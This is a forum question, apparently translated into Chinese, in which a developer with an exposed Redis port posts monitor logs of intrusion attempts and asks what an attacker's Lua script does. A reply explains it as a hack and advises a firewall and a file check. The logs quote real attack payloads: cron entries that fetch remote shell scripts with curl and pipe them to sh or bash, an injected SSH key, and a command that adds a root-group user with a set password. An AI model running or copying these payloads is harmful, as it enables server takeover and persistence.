企图通过 Redis 开放端口攻击主机
2020-6-20 9:12:55
收藏:0
阅读:93
评论:1
我在开发机上使用 Redis 开放了端口,最近有人试图通过 Redis 获取我的主机访问权限。我有用 Redis 监控台记录下他们用来获取访问权限的命令,并提供了一些命令的日期时间。
GMT: 2017年8月21日星期一 上午4:47:53.384 [0 74.82.47.3:46986] "INFO"
[0 94.74.81.202:55564] "COMMAND"
[0 94.74.81.202:55564] "flushall"
[0 94.74.81.202:55606] "COMMAND"
GMT: 2017年8月21日星期一 上午9:21:43.586 [0 94.74.81.202:55606] "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646] "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660] "INFO"
[0 98.142.140.13:51586] "INFO"
[0 98.142.140.13:51586] "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464] "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329] "INFO"
GMT: 2017年8月22日星期二 晚上9:56:04.350 [0 178.62.175.211:58716] "eval" "local asnum ... see link below "
... 完整的 Lua 脚本 ...
[0 184.105.247.252:33152] "INFO"
GMT: 2017年8月23日星期三 上午7:18:35.995 [0 52.14.111.241:49208] "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: 2017年8月23日星期三 下午6:04:36.397 [0 98.142.140.13:43540] "INFO"
GMT: 2017年8月24日星期四 上午5:22:26.931 [0 216.218.206.68:19396] "INFO"
这些行来自我的 redis.log 文件
22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
.............
每隔 6 分钟重复一次
有人能解释一下这个 Lua 脚本究竟在做什么吗?根据 Redis 日志,我猜测它试图在"lololili"键中执行 bash 命令。
谢谢。
点赞
评论区的留言会收到邮件通知哦~
推荐文章
- Lua 虚拟机加密load(string.dump(function)) 后执行失败问题如何解决
- 我想创建一个 Nginx 规则,禁止访问
- 如何将两个不同的lua文件合成一个 东西有点长 大佬请耐心看完 我是小白研究几天了都没搞定
- 如何在roblox studio中1:1导入真实世界的地形?
- 求解,lua_resume的第二次调用继续执行协程问题。
- 【上海普陀区】内向猫网络招募【Skynet游戏框架Lua后端程序员】
- SF爱好求教:如何用lua实现游戏内调用数据库函数实现账号密码注册?
- Lua实现网站后台开发
- LUA错误显式返回,社区常见的规约是怎么样的
- lua5.3下载库失败
- 请问如何实现文本框内容和某个网页搜索框内容连接,并把网页输出来的结果反馈到另外一个文本框上
- lua lanes多线程使用
- 一个kv数据库
- openresty 有没有比较轻量的 docker 镜像
- 想问一下,有大佬用过luacurl吗
- 在Lua执行过程中使用Load函数出现问题
- 为什么 neovim 里没有显示一些特殊字符?
- Lua比较两个表的值(不考虑键的顺序)
- 有个lua简单的项目,外包,有意者加微信 liuheng600456详谈,最好在成都
- 如何在 Visual Studio 2022 中运行 Lua 代码?

嗨,这是一次尝试黑掉您的计算机。如果没有适当的防火墙保护,请不要将您的redis暴露在互联网上。
从我看到的情况来看,我猜这个人试图退出lua沙盒。
如果您有一个开放的redis服务器,有多种方法可以黑掉您的计算机。
关于lua沙盒退出的一些参考
以及redis文件上传
您应该检查主机上属于redis的任何文件
find / -user redis如果您没有发现任何问题,那就太好了,但是请保护好您的服务器。